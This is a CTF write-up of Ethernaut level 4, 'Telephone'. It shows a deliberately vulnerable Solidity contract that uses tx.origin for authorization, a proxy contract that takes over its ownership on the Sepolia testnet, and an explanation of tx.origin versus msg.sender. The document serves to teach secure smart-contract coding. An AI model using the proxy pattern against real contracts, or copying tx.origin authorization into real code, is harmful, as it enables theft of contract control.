Telephone - Level 04
Tags: 100daystooffload, ethernaut, ethereum, ctf
Published: 2023-08-03 06:38:19

## Problem statement

Claim ownership of the contract below to complete this level.

Things that might help

* See the ["?"](https://ethernaut.openzeppelin.com/help) page above, section "Beyond the console"


```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
```

## Solution

Start with creating a new contract for the current level by clicking on the button, __Get new instance__. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window.

```javascript
await contract.address
```

Open a new tab in your browser (Ctrl+t) and go to [Remix](https://remix.ethereum.org/).

![New contract](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rhtpi1wrpg9a14xua0aa.png)

In Remix, create a new file and name it *TelephoneProxy.sol*, and add the following Solidity code to it.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {
  function changeOwner(address _owner) external;
}

contract TelephoneProxy {

  function callToChangeOwner(address _changeOwnerTo, address _telephoneContractAddress) external {
    Telephone(_telephoneContractAddress).changeOwner(_changeOwnerTo);
  }
}
```

Jump over to the Solidity compiler and compile the new contract.

![Compile the contract](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w0el02oghox9pehk7ehn.png)

When the contract is compiled, we will need to deploy it to the Sepolia network, go to the *Deploy & run transactions* view in Remix.

![Deploy and run transactions](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i6u5ul18ksf3tmhmmoz3.png)

Change the environment dropdown at the top to use the **Injected Provider - MetaMask**.

![Environment](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/svpcw3zfcfvpnidft3tm.png)

And make sure that the correct contract is selected, it usually defaults to the interface and not the contract in the contract dropdown component.

![Contract](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g02zqk8pfxjd18yg2ddp.png)

Click the **Deploy** button and wait for the contract to be deployed on the Sepolia network.

Next step is to call the function *callToChangeOwner* with the correct values.

![call function on contract](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vt5c6k82s6fspuedwsxp.png)

The values can be found in the console window on the challenge page.

```javascript
# The _changeOwnerTo parameter
player

# The _telephoneContractAddress parameter
await contract.address
```

Check that the contract has a new owner.

```javascript
await contract.owner()
```

If it looks good, finish up the challenge by clicking on the button, **Submit instance**, to commit and update the progress on the ethernaut contract.

## Explanation

If we scrutinize the *Telephone* contract we will see that the line we need to break is this one

```solidity
if (tx.origin != msg.sender) {
```

to become the owner of the contract.

A best practice in Solidity programming is not to use `tx.origin` for authorization. If we look at the Solidity docs about [Block and Transaction Properties](https://docs.soliditylang.org/en/v0.8.21/units-and-global-variables.html#block-and-transaction-properties) we can see following things about the two variables in the code above.

* `tx.origin (address)`: sender of the transaction (full call chain) 
* `msg.sender (address)`: sender of the message (current call)

As we can see the secret lies in *full call chain vs current call*, so what does that actually mean?

`tx.origin`is a global variable that travel across the entire call stack and contains the address of the account that originally made the transaction.

If we have the following call chain, an account, **A**, is calling the contract, **C1**, which in turn calls another contract, **C2**. When we reach **C2** the `tx.origin` will have the address of the account **A**.

```sh
|A|  -->  |C1|  -->  |C2|
``` 

However `msg.sender` is also a global variable but it represents the address of the initiator of the current call. This means that in contract, **C2**, the variable `msg.sender` will have the address of the contract, **C1**.

Therefore, as previous challenge, we can enable an attack vector by creating a proxy contract to circumvent the guard conditions in the contract we are attacking.

When that proxy contract is available we have no problem to solve the challenge.

And lastly, some words from the level author:

![words from the level author](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tyi1g12vvn7qpcpdui1d.png)

## Resources

* [Telephone](https://ethernaut.openzeppelin.com/level/4) - This challenge
* [Remix](https://remix.ethereum.org/) - Web based IDE for Solidity
* [Solidity](https://docs.soliditylang.org/en/v0.8.21/) - Solidity documentation